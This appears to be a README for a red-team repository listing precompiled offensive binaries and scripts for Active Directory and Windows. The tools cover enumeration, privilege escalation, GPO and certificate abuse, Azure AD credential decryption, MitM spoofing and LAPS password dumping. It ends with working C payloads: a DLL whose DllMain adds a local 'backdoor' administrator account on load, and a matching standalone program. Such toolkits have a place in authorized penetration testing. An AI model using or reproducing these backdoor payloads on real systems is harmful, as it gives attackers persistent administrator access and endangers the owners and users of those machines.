Collection of useful tools, scripts and pre-compiled binaries for enumerating and exploiting Active Directory environments or standalone Windows hosts. All binaries listed in this repository have either been downloaded from the official release page or compiled from the official source code using Visual Studio.
Caution
ONLY use for ethical purposes and against targets that you are permitted to attack!
| Name | Description | Download | |
|---|---|---|---|
| ★ | SharpHound | Active directory enumeration and visualization | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Enumeration/SharpHound.exe |
| Seatbelt | Windows host enumeration | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Enumeration/Seatbelt.exe | |
| SharpUp | Privilege Escalation Checks | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Enumeration/SharpUp.exe | |
| winPEAS | Windows host enumeration | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Enumeration/winPEAS.exe | |
| SharpView | C# Port of PowerView.ps1 | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Enumeration/SharpView.exe | |
| ★ | NoPowerShell | Execute PowerShell cmdlets in memory | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Enumeration/NoPowerShell.exe |
| Name | Description | Download | |
|---|---|---|---|
| SharpGPO | Group Policy modification and editing | https://github.com/jakobfriedl/precompiled-binaries/blob/main/LateralMovement/GPOAbuse/SharpGPO.exe | |
| SharpGPOAbuse | Group Policy exploitation and abuse | https://github.com/jakobfriedl/precompiled-binaries/raw/main/LateralMovement/GPOAbuse/SharpGPOAbuse.exe |
| Name | Description | Download | |
|---|---|---|---|
| Certify | Certificate abuse and enumeration | https://github.com/jakobfriedl/precompiled-binaries/raw/main/LateralMovement/CertificateAbuse/Certify.exe | |
| PassTheCert | Certificate abuse | https://github.com/jakobfriedl/precompiled-binaries/raw/main/LateralMovement/CertificateAbuse/PassTheCert.exe | |
| ForgeCert | Certificate forging | https://github.com/jakobfriedl/precompiled-binaries/raw/main/LateralMovement/CertificateAbuse/ForgeCert.exe |
| Name | Description | Download | |
|---|---|---|---|
| ADSyncDecrypt | Extract and decrypt Azure AD credentials | https://github.com/jakobfriedl/precompiled-binaries/raw/main/LateralMovement/AzureAD/ADSyncDecrypt.exe | |
| ★ | AzureAD_Decrypt_MSOL | Dump and extract Azure AD credentials | https://github.com/jakobfriedl/precompiled-binaries/raw/main/LateralMovement/AzureAD/AzureAD_Decrypt_MSOL.ps1 |
| Name | Description | Download | |
|---|---|---|---|
| ★ | PowerView | Enumeration | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Scripts/PowerView.ps1 |
| ★ | Powermad | MachineAccountQuota and DNS Exploitation | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Scripts/Powermad.ps1 |
| Inveigh | MitM Attacks & Spoofing | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Scripts/Inveigh.ps1 | |
| PowerUp | Windows Privilege Escalation | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Scripts/PowerUp.ps1 | |
| PowerUpSQL | SQL Server Enumeration and Exploitation | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Scripts/PowerUpSQL.ps1 | |
| LAPSToolkit | LAPS Password dumping | https://github.com/jakobfriedl/precompiled-binaries/raw/main/Scripts/LAPSToolkit.ps1 |
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user backdoor Password123! /add");
i = system ("net localgroup administrators backdoor /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}#include <stdlib.h>
int main ()
{
system("net user backdoor Password123! /add");
system("net localgroup administrators backdoor /add");
return 0;
}